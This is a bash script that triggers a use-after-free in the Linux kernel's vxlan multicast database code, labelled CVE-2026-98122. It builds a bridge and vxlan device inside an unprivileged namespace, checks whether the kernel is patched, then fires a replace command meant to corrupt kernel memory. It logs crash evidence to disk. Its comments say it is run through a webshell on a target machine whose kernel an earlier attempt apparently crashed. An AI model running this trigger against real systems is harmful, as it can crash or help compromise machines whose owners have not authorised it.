#!/bin/bash
# ============================================================================
# CVE-2026-98122 - vxlan mdb UAF (vxlan_mdb_remote_src_fwd_del) - INNER script
# ============================================================================
# Runs INSIDE 'unshare -Urn' (userns+netns). Invoked as:
#
#   unshare -Urn bash /home/john/public_html/cve98122_inner.sh /home/john/public_html/cve98122_run.log
#
# *** HEREDOC-FREE REDESIGN (intent #4381) ***
# The original cve98122_trigger.sh (intent #3941) wrapped this logic in:
#     /usr/bin/unshare -Urn bash -s <<'EOF'   ... EOF
# which HUNG under the webshell's popen-based execution, destroying ALL
# oracle output and (probably) costing the target kernel. This redesign:
#   1. NO heredoc, NO 'bash -s', NO stdin dependency whatsoever - the script
#      is a standalone file taking the log path as $1.
#   2. ALL output (incl. set -x trace) goes DIRECTLY to the log file on disk -
#      never to the webshell's pipe - so evidence survives webshell death
#      AND kernel panic (sync after every phase).
#   3. Timestamped phase fences: if the kernel dies, the last synced fence
#      identifies the exact phase that killed it.
#
# Trigger commands are VERBATIM from the original (which mirrors the official
# selftest tools/testing/selftests/net/test_vxlan_mdb.sh + fix commit
# 74e2a56c8220). DO NOT "improve" them - faithfulness matters.
#
# Environment variable DRY_RUN=1 skips ONLY the final UAF fire (STEP2),
# allowing a zero-risk harness validation + oracle-answer collection run.
# ============================================================================

LOG="${1:-/home/john/public_html/cve98122_run.log}"
DRY_RUN="${DRY_RUN:-0}"

# Route everything straight to the log file. bash echo/write() calls hit the
# fd immediately (visible to concurrent readers), sync pushes to stable media.
exec >>"$LOG" 2>&1
set -x

ts() { date '+%F %T'; }
# Diagnostic helper: 'bridge mdb get' needs iproute2 >= 6.2 (target has 6.17.0,
# OK). Older bridges lack it, so also emit plain 'mdb show' (always supported)
# as fallback. Neither is fatal - they are diagnostics, not the trigger.
mdb_dump() {
    $BR -d -s mdb get dev vx0 grp "$1" src_vni 10010 2>/dev/null
    $BR -d -s mdb show dev vx0 2>/dev/null | grep -F -- "$1" || true
}

IP=/usr/sbin/ip
BR=/usr/sbin/bridge

echo ""
echo "[$(ts)] ### INNER begin: uid=$(id -u) kernel=$(uname -r) pid=$$ dry_run=$DRY_RUN"

# ---------------------------------------------------------------------------
echo "[$(ts)] === PHASE 0: netns setup (mirrors selftest setup_common_ns) ==="
# ---------------------------------------------------------------------------
$IP link set lo up
echo "[$(ts)] P0: lo-up exit=$?"
$IP link add name br0 up type bridge vlan_filtering 1 vlan_default_pvid 0 mcast_snooping 0
echo "[$(ts)] P0: br0-add exit=$?"
$IP link add name vx0 up master br0 type vxlan local 198.51.100.1 dstport 4789 external vnifilter
echo "[$(ts)] P0: vx0-add exit=$?"
$BR link set dev vx0 vlan_tunnel on
echo "[$(ts)] P0: vlan_tunnel-on exit=$?"
$BR vlan add vid 10 dev vx0
echo "[$(ts)] P0: vlan-add-10 exit=$?"
$BR vlan add vid 10 dev vx0 tunnel_info id 10010
echo "[$(ts)] P0: vlan-tunnel-info exit=$?"
$BR vni add vni 10010 dev vx0
echo "[$(ts)] P0: vni-add exit=$?"
sync

GRP=239.1.1.1
VTEP=198.51.100.100

# ---------------------------------------------------------------------------
echo "[$(ts)] === PHASE 1: SANITY: normal (*,G) source_list=192.0.2.129 (must succeed on any kernel) ==="
# ---------------------------------------------------------------------------
$BR mdb add dev vx0 port vx0 grp $GRP permanent filter_mode exclude source_list 192.0.2.129 dst $VTEP src_vni 10010
echo "[$(ts)] SANITY exit=$?"
mdb_dump $GRP
echo "[$(ts)] SANITY-get exit=$?"
$BR mdb del dev vx0 port vx0 grp $GRP dst $VTEP src_vni 10010
echo "[$(ts)] SANITY-del exit=$?"
sync

# ---------------------------------------------------------------------------
echo "[$(ts)] === PHASE 2: ORACLE A: (*,G) with source_list=[0.0.0.0] (post-fix: REJECTED / vuln: accepted) ==="
# ---------------------------------------------------------------------------
$BR mdb add dev vx0 port vx0 grp $GRP permanent filter_mode exclude source_list 0.0.0.0 dst $VTEP src_vni 10010
echo "[$(ts)] ORACLE-A exit=$?"
sync

# ---------------------------------------------------------------------------
echo "[$(ts)] === PHASE 3: ORACLE B: (S,G) with src=0.0.0.0 (post-fix: REJECTED / vuln. accepted) ==="
# ---------------------------------------------------------------------------
$BR mdb add dev vx0 port vx0 grp $GRP src 0.0.0.0 permanent dst $VTEP src_vni 10010
echo "[$(ts)] ORACLE-B exit=$?"
sync

# ---------------------------------------------------------------------------
echo "[$(ts)] === PHASE 4: UAF TRIGGER step1: create aliased entry (SOURCE=0.0.0.0 + SRC_LIST=[0.0.0.0]) ==="
# ---------------------------------------------------------------------------
$BR mdb add dev vx0 port vx0 grp 239.1.1.2 src 0.0.0.0 permanent filter_mode exclude source_list 0.0.0.0 dst $VTEP src_vni 10010
echo "[$(ts)] STEP1 exit=$?"
mdb_dump 239.1.1.2
echo "[$(ts)] STEP1-get exit=$?"
sync

# ---------------------------------------------------------------------------
if [ "$DRY_RUN" = "1" ]; then
    echo "[$(ts)] *** DRY_RUN=1: SKIPPING STEP2 (UAF fire) - rerun without DRY_RUN to fire ***"
    echo "[$(ts)] ### INNER end (dry run)"
    exit 0
fi

echo "[$(ts)] >>> ABOUT TO FIRE UAF TRIGGER (STEP2) - if kernel dies, LAST SYNCED LINE IS HERE <<<"
sync
# ---------------------------------------------------------------------------
echo "[$(ts)] === PHASE 5: UAF TRIGGER step2: REPLACE (*,G) with NO source list -> sweep -> UAF ==="
# ---------------------------------------------------------------------------
$BR mdb replace dev vx0 port vx0 grp 239.1.1.2 src 0.0.0.0 permanent dst $VTEP src_vni 10010
echo "[$(ts)] STEP2 exit=$?"
mdb_dump 239.1.1.2
echo "[$(ts)] STEP2-get exit=$?"
echo "[$(ts)] === SURVIVED UAF TRIGGER: $(uname -r) ==="
sync

# ---------------------------------------------------------------------------
echo "[$(ts)] === PHASE 6: in-netns dmesg tail (immediate oops capture) ==="
# ---------------------------------------------------------------------------
dmesg 2>/dev/null | tail -8
echo "[$(ts)] ### INNER end (full run)"
sync
